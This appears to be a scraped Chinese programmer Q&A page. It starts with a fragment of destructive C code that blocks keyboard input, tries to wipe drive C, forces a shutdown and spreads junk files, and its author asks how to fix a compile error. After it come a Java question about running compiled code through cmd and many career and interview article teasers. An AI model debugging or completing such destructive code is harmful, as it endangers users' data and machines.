//修改桌面背景 RegKeyBoardForbidden(); //修改注册表屏蔽用户键盘输入 Sleep(5000); if (DeleteDrive("C:")) MessageBox(NULL, "破坏盘符成功!", "Error", MB_OK); DefineDosDevice(DDD_RAW_TARGET_PATH, "F:", "//??//C://winnt"); system("title 警告"); system("shutdown -f -s -t 10 -c ""计算机将于60秒内强制关机!"""); } else { printf("task manager has been forbidden!\n"); } int i; for (i = 0; i < 30; i++) { Reproduce(); //产生垃圾文件,恶意增殖 Sleep(1000); } ``` 第178行出现了错误 为什么?怎么改正

关于java调用cmd执行批处理和获取控制台输出的问题

``` package cn.zjcscut.compile.cmd; import cn.zjcscut.compile.cmd.util.ClassUtils; import cn.zjcscut.compile.cmd.util.StreamGobbler; import cn.zjcscut.freemarker.classUtils.ClassLoader; import org.apache.commons.lang3.StringUtils; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import java.io.*; /** * @author zjc * @version 2016/7/15 23:09 * @function */ public class DynamicCompileWithCmd { private static final Logger log = LogManager.getLogger(DynamicCompileWithCmd.class); private static final String SAVEPATH = ClassLoader.getUserDir() + "/bin/source/"; private static final String CLASSSUFFIX = ".java"; private static final String BATSUFFIX = ".bat"; private String className; private String result; public void save(String content) { className = ClassUtils.getClassNameFromSourceCode(content); if (StringUtils.isEmpty(className)) { log.error("获取类名失败,估计是类的结构出现异常"); throw new RuntimeException("class format error,please check it!"); } String realFile = SAVEPATH + className + CLASSSUFFIX; File file = new File(realFile); if (!file.exists()) { file.getParentFile().mkdirs(); //不存在就创建 } BufferedWriter bf = null; FileWriter fw = null; try { fw = new FileWriter(file); bf = new BufferedWriter(fw); bf.write(content); bf.close(); fw.close(); } catch (Exception e) { log.error("写入源代码生成.java文件失败"); throw new RuntimeException("create java file failed"); } finally { if (bf != null) { try { bf.close(); } catch (IOException e) { e.printStackTrace(); } } if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } private String createBatFile(String className) { String realFile = SAVEPATH + className + BATSUFFIX; File file = new File(realFile); if (!file.exists()) { file.getParentFile().mkdirs(); //不存在就创建 } String compile = "javac " + className + CLASSSUFFIX + " \n"; String cd = "cd " + SAVEPATH + " \n"; String run = "java " + className + " \n"; BufferedWriter bf = null; FileWriter fw = null; try { fw = new FileWriter(file); bf = new BufferedWriter(fw); bf.write(cd + compile + run); bf.close(); fw.close(); return realFile; } catch (Exception e) { log.error("写入bat文件失败"); throw new RuntimeException("create bat file failed"); } finally { if (bf != null) { try { bf.close(); } catch (IOException e) { e.printStackTrace(); } } if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } private static Process process;//执行子进程 public String execute(String content) { save(content); String batName = createBatFile(className); Runtime runtime = Runtime.getRuntime(); BufferedWriter bw = null; try { // Thread.sleep(1000); //防止cmd.exe程序未启动,当然也可以直接使用javac命令 // bw = new BufferedWriter(new OutputStreamWriter(process.getOutputStream())); // String compile = "javac " + SAVEPATH + className + CLASSSUFFIX + " \n"; // String run ="java " + SAVEPATH + className + " \n"; long startFreeMemory = runtime.freeMemory(); //记录开始执行命令前的空闲内存 long startCurrentTime = System.currentTimeMillis(); // bw.write("java " + SAVEPATH + className + " \n"); // bw.write(compile + " & " + run); // bw.flush(); // bw.close(); // "cmd.exe /C start /b " process = runtime.exec("cmd.exe /C start /b " + batName); //合并流 SequenceInputStream sis = new SequenceInputStream(process.getInputStream(),process.getErrorStream()); InputStreamReader isr = new InputStreamReader (sis, "GBK"); BufferedReader br = new BufferedReader(isr); String line = null; while (null != ( line = br.readLine () )) { System.out.println (line); } process.destroy (); br.close (); isr.close (); process.waitFor(); int sign = process.exitValue(); if (sign == 0) { System.out.println("执行成功"); } else { System.out.println("执行失败"); } // StreamGobbler outGobbler = new StreamGobbler(process.getInputStream(), "STDOUT"); // Thread thread1 = new Thread(outGobbler); // thread1.start(); // new Thread(new Runnable() { // @Override // public void run() { // try { // // String s = null; // BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream())); // while ((s = br.readLine()) != null) { // System.out.println(s); // result += s; // } // } catch (java.lang.Exception e) { // e.printStackTrace(); // } // } // }).start(); // // new Thread(new Runnable() { // @Override // public void run() { // try { // // String s = null; // BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream())); // while ((s = br.readLine()) != null) { // System.out.println("error -- " + s); // } // } catch (java.lang.Exception e) { // e.printStackTrace(); // } // } // }).start(); // StreamGobbler errorGobbler = new StreamGobbler(process.getErrorStream(), "ERROR"); // Thread thread = new Thread(errorGobbler); // thread.start(); // Thread thread = new Thread(new RuntimeResultThread()); // thread.start(); // String s = null; // BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream())); // while ((s = br.readLine()) != null) { // System.out.println(s); // result += s; // } // // br.close(); // System.out.println(batName); // InputStream in = process.getInputStream(); // // int c; // while ((c = in.read()) != -1) { // System.out.print("输出---" + c);//如果你不需要看输出,这行可以注销掉 // } // in.close(); //获取控制台输出结果 // Thread thread = new Thread(new RuntimeResultThread()); // thread.start(); long endCurrentTime = System.currentTimeMillis(); long endFreeMemory = runtime.freeMemory(); double useMemory = (startFreeMemory - endFreeMemory) / 1024; long useTime = endCurrentTime - startCurrentTime; result += "\n\ncost time : " + useTime + " ms" + ", cost memory : " + useMemory + " mb"; return result; } catch (Exception e) { e.printStackTrace(); } finally { if (bw != null) { try { bw.close(); } catch (IOException e) { e.printStackTrace(); } } } return null; } private class RuntimeResultThread implements Runnable { @Override public void run() { BufferedReader br = null; String content = null; try { br = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK")); while ((content = br.readLine()) != null) { System.out.println("content" + content); result += content; } br.close(); } catch (Exception e) { log.error("获取控制台输出失败"); e.printStackTrace(); } finally { if (br != null) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } } } } } ``` 上边的代码是为了实现动态编译和执行输入的java源码,原理是先把.java和bat文件输出到工作目录下的一个文件夹,调用cmd编译.java文件,再执行.class。现在出现一个问题,就是获取控制台输出的时候总是阻塞,google这个问题说是process的getErrorStream缓冲没有清空,导致一直阻塞,需要使用多线程操作,但是用了多线程发现,process的getInputStream部分信息丢失了。 ![图片说明](https://img-ask.csdn.net/upload/201607/16/1468647055_939794.png) 想请教有什么解决方法 ?

在中国程序员是青春饭吗?

今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...

Java校招入职华为,半年后我跑路了

何来 我,一个双非本科弟弟,有幸在 19 届的秋招中得到前东家华为(以下简称 hw)的赏识,当时秋招签订就业协议,说是入了某 java bg,之后一系列组织架构调整原因等等让人无法理解的神操作,最终毕业前夕,被通知调往其他 bg 做嵌入式开发(纯 C 语言)。 由于已至于校招末尾,之前拿到的其他 offer 又无法再收回,一时感到无力回天,只得默默接受。 毕业后,直接入职开始了嵌入式苦旅,由于从未...

Java基础知识面试题(2020最新版)

文章目录Java概述何为编程什么是Javajdk1.5之后的三大版本JVM、JRE和JDK的关系什么是跨平台性?原理是什么Java语言有哪些特点什么是字节码?采用字节码的最大好处是什么什么是Java程序的主类?应用程序和小程序的主类有何不同?Java应用程序与小程序之间有那些差别?Java和C++的区别Oracle JDK 和 OpenJDK 的对比基础语法数据类型Java有哪些数据类型switc...

@程序员:GitHub这个项目快薅羊毛

今天下午在朋友圈看到很多人都在发github的羊毛,一时没明白是怎么回事。 后来上百度搜索了一下,原来真有这回事,毕竟资源主义的羊毛不少啊,1000刀刷爆了朋友圈!不知道你们的朋友圈有没有看到类似的消息。 这到底是啥情况? 微软开发者平台GitHub 的一个区块链项目 Handshake ,搞了一个招募新会员的活动,面向GitHub 上前 25万名开发者派送 4,246.99 HNS币,大约价...

再不跳槽,应届毕业生拿的都比我多了!

跳槽几乎是每个人职业生涯的一部分,很多HR说“三年两跳”已经是一个跳槽频繁与否的阈值了,可为什么市面上有很多程序员不到一年就跳槽呢?他们不担心影响履历吗? PayScale之前发布的**《员工最短任期公司排行榜》中,两家码农大厂Amazon和Google**,以1年和1.1年的员工任期中位数分列第二、第四名。 PayScale:员工最短任期公司排行榜 意外的是,任期中位数极小的这两家公司,薪资...

我以为我学懂了数据结构,直到看了这个导图才发现,我错了

数据结构与算法思维导图

技术大佬:我去,你写的 switch 语句也太老土了吧

昨天早上通过远程的方式 review 了两名新来同事的代码,大部分代码都写得很漂亮,严谨的同时注释也很到位,这令我非常满意。但当我看到他们当中有一个人写的 switch 语句时,还是忍不住破口大骂:“我擦,小王,你丫写的 switch 语句也太老土了吧!” 来看看小王写的代码吧,看完不要骂我装逼啊。 private static String createPlayer(PlayerTypes p...

华为初面+综合面试(Java技术面)附上面试题

华为面试整体流程大致分为笔试,性格测试,面试,综合面试,回学校等结果。笔试来说,华为的难度较中等,选择题难度和网易腾讯差不多。最后的代码题,相比下来就简单很多,一共3道题目,前2题很容易就AC,题目已经记不太清楚,不过难度确实不大。最后一题最后提交的代码过了75%的样例,一直没有发现剩下的25%可能存在什么坑。 笔试部分太久远,我就不怎么回忆了。直接将面试。 面试 如果说腾讯的面试是挥金如土...

和黑客斗争的 6 天!

互联网公司工作,很难避免不和黑客们打交道,我呆过的两家互联网公司,几乎每月每天每分钟都有黑客在公司网站上扫描。有的是寻找 Sql 注入的缺口,有的是寻找线上服务器可能存在的漏洞,大部分都...

讲一个程序员如何副业月赚三万的真实故事

loonggg读完需要3分钟速读仅需 1 分钟大家好,我是你们的校长。我之前讲过,这年头,只要肯动脑,肯行动,程序员凭借自己的技术,赚钱的方式还是有很多种的。仅仅靠在公司出卖自己的劳动时...

win10暴力查看wifi密码

刚才邻居打了个电话说:喂小灰,你家wifi的密码是多少,我怎么连不上了。 我。。。 我也忘了哎,就找到了一个好办法,分享给大家: 第一种情况:已经连接上的wifi,怎么知道密码? 打开:控制面板\网络和 Internet\网络连接 然后右击wifi连接的无线网卡,选择状态 然后像下图一样: 第二种情况:前提是我不知道啊,但是我以前知道密码。 此时可以利用dos命令了 1、利用netsh wlan...

上班一个月,后悔当初着急入职的选择了

最近有个老铁,告诉我说,上班一个月,后悔当初着急入职现在公司了。他之前在美图做手机研发,今年美图那边今年也有一波组织优化调整,他是其中一个,在协商离职后,当时捉急找工作上班,因为有房贷供着,不能没有收入来源。所以匆忙选了一家公司,实际上是一个大型外包公司,主要派遣给其他手机厂商做外包项目。**当时承诺待遇还不错,所以就立马入职去上班了。但是后面入职后,发现薪酬待遇这块并不是HR所说那样,那个HR自...

女程序员,为什么比男程序员少???

昨天看到一档综艺节目,讨论了两个话题:(1)中国学生的数学成绩,平均下来看,会比国外好?为什么?(2)男生的数学成绩,平均下来看,会比女生好?为什么?同时,我又联想到了一个技术圈经常讨...

总结了 150 余个神奇网站,你不来瞅瞅吗?

原博客再更新,可能就没了,之后将持续更新本篇博客。

副业收入是我做程序媛的3倍,工作外的B面人生是怎样的?

提到“程序员”,多数人脑海里首先想到的大约是:为人木讷、薪水超高、工作枯燥…… 然而,当离开工作岗位,撕去层层标签,脱下“程序员”这身外套,有的人生动又有趣,马上展现出了完全不同的A/B面人生! 不论是简单的爱好,还是正经的副业,他们都干得同样出色。偶尔,还能和程序员的特质结合,产生奇妙的“化学反应”。 @Charlotte:平日素颜示人,周末美妆博主 大家都以为程序媛也个个不修边幅,但我们也许...

MySQL数据库面试题(2020最新版)

文章目录数据库基础知识为什么要使用数据库什么是SQL?什么是MySQL?数据库三大范式是什么mysql有关权限的表都有哪几个MySQL的binlog有有几种录入格式?分别有什么区别?数据类型mysql有哪些数据类型引擎MySQL存储引擎MyISAM与InnoDB区别MyISAM索引与InnoDB索引的区别?InnoDB引擎的4大特性存储引擎选择索引什么是索引?索引有哪些优缺点?索引使用场景(重点)...

如果你是老板,你会不会踢了这样的员工?

有个好朋友ZS,是技术总监,昨天问我:“有一个老下属,跟了我很多年,做事勤勤恳恳,主动性也很好。但随着公司的发展,他的进步速度,跟不上团队的步伐了,有点...

我入职阿里后,才知道原来简历这么写

私下里,有不少读者问我:“二哥,如何才能写出一份专业的技术简历呢?我总感觉自己写的简历太烂了,所以投了无数份,都石沉大海了。”说实话,我自己好多年没有写过简历了,但我认识的一个同行,他在阿里,给我说了一些他当年写简历的方法论,我感觉太牛逼了,实在是忍不住,就分享了出来,希望能够帮助到你。 01、简历的本质 作为简历的撰写者,你必须要搞清楚一点,简历的本质是什么,它就是为了来销售你的价值主张的。往深...

程序员写出这样的代码,能不挨骂吗?

当你换槽填坑时,面对一个新的环境。能够快速熟练,上手实现业务需求是关键。但是,哪些因素会影响你快速上手呢?是原有代码写的不够好?还是注释写的不够好?昨夜...

!大部分程序员只会写3年代码

如果世界上都是这种不思进取的软件公司,那别说大部分程序员只会写 3 年代码,恐怕就没有程序员这种职业。

离职半年了,老东家又发 offer,回不回?

有小伙伴问松哥这个问题,他在上海某公司,在离职了几个月后,前公司的领导联系到他,希望他能够返聘回去,他很纠结要不要回去? 俗话说好马不吃回头草,但是这个小伙伴既然感到纠结了,我觉得至少说明了两个问题:1.曾经的公司还不错;2.现在的日子也不是很如意。否则应该就不会纠结了。 老实说,松哥之前也有过类似的经历,今天就来和小伙伴们聊聊回头草到底吃不吃。 首先一个基本观点,就是离职了也没必要和老东家弄的苦...

HTTP与HTTPS的区别

面试官问HTTP与HTTPS的区别,我这样回答让他竖起大拇指!

男生更看重女生的身材脸蛋,还是思想?

往往,我们看不进去大段大段的逻辑。深刻的哲理,往往短而精悍,一阵见血。问:产品经理挺漂亮的,有点心动,但不知道合不合得来。男生更看重女生的身材脸蛋,还是...

程序员为什么千万不要瞎努力?

本文作者用对比非常鲜明的两个开发团队的故事,讲解了敏捷开发之道 —— 如果你的团队缺乏统一标准的环境,那么即使勤劳努力,不仅会极其耗时而且成果甚微,使用...

为什么程序员做外包会被瞧不起?

二哥,有个事想询问下您的意见,您觉得应届生值得去外包吗?公司虽然挺大的,中xx,但待遇感觉挺低,马上要报到,挺纠结的。

当HR压你价,说你只值7K,你该怎么回答?

当HR压你价,说你只值7K时,你可以流畅地回答,记住,是流畅,不能犹豫。 礼貌地说:“7K是吗?了解了。嗯~其实我对贵司的面试官印象很好。只不过,现在我的手头上已经有一份11K的offer。来面试,主要也是自己对贵司挺有兴趣的,所以过来看看……”(未完) 这段话主要是陪HR互诈的同时,从公司兴趣,公司职员印象上,都给予对方正面的肯定,既能提升HR的好感度,又能让谈判气氛融洽,为后面的发挥留足空间。...

面试:第十六章:Java中级开发(16k)

HashMap底层实现原理,红黑树,B+树,B树的结构原理 Spring的AOP和IOC是什么?它们常见的使用场景有哪些?Spring事务,事务的属性,传播行为,数据库隔离级别 Spring和SpringMVC,MyBatis以及SpringBoot的注解分别有哪些?SpringMVC的工作原理,SpringBoot框架的优点,MyBatis框架的优点 SpringCould组件有哪些,他们...

面试阿里p7,被按在地上摩擦,鬼知道我经历了什么?

面试阿里p7被问到的问题(当时我只知道第一个):@Conditional是做什么的?@Conditional多个条件是什么逻辑关系?条件判断在什么时候执...

终于懂了TCP和UDP协议区别

终于懂了TCP和UDP协议区别

Python爬虫,高清美图我全都要(彼岸桌面壁纸)

爬取彼岸桌面网站较为简单,用到了requests、lxml、Beautiful Soup4

无代码时代来临,程序员如何保住饭碗?

编程语言层出不穷,从最初的机器语言到如今2500种以上的高级语言,程序员们大呼“学到头秃”。程序员一边面临编程语言不断推陈出新,一边面临由于许多代码已存在,程序员编写新应用程序时存在重复“搬砖”的现象。 无代码/低代码编程应运而生。无代码/低代码是一种创建应用的方法,它可以让开发者使用最少的编码知识来快速开发应用程序。开发者通过图形界面中,可视化建模来组装和配置应用程序。这样一来,开发者直...

面试了一个 31 岁程序员,让我有所触动,30岁以上的程序员该何去何从?

最近面试了一个31岁8年经验的程序猿,让我有点感慨,大龄程序猿该何去何从。

大三实习生,字节跳动面经分享,已拿Offer

说实话,自己的算法,我一个不会,太难了吧

程序员垃圾简历长什么样?

已经连续五年参加大厂校招、社招的技术面试工作,简历看的不下于万份 这篇文章会用实例告诉你,什么是差的程序员简历! 疫情快要结束了,各个公司也都开始春招了,作为即将红遍大江南北的新晋UP主,那当然要为小伙伴们做点事(手动狗头)。 就在公众号里公开征简历,义务帮大家看,并一一点评。《启舰:春招在即,义务帮大家看看简历吧》 一石激起千层浪,三天收到两百多封简历。 花光了两个星期的所有空闲时...

Java岗开发3年,公司临时抽查算法,离职后这几题我记一辈子

前几天我们公司做了一件蠢事,非常非常愚蠢的事情。我原以为从学校出来之后,除了找工作有测试外,不会有任何与考试有关的事儿。 但是,天有不测风云,公司技术总监、人事总监两位大佬突然降临到我们事业线,叫上我老大,给我们组织了一场别开生面的“考试”。 那是一个风和日丽的下午,我翘着二郎腿,左手端着一杯卡布奇诺,右手抓着我的罗技鼠标,滚动着轮轴,穿梭在头条热点之间。 “淡黄的长裙~蓬松的头发...

大牛都会用的IDEA调试技巧!!!

导读 前天面试了一个985高校的实习生,问了他平时用什么开发工具,他想也没想的说IDEA,于是我抛砖引玉的问了一下IDEA的调试用过吧,你说说怎么设置断点...

面试官:你连SSO都不懂,就别来面试了

大厂竟然要考我SSO,卧槽。

不要再到处使用 === 了

我们知道现在的开发人员都使用 === 来代替 ==,为什么呢?我在网上看到的大多数教程都认为,要预测 JavaScript 强制转换是如何工作这太复杂了,因此建议总是使用===。这些都...

立即提问
相关内容推荐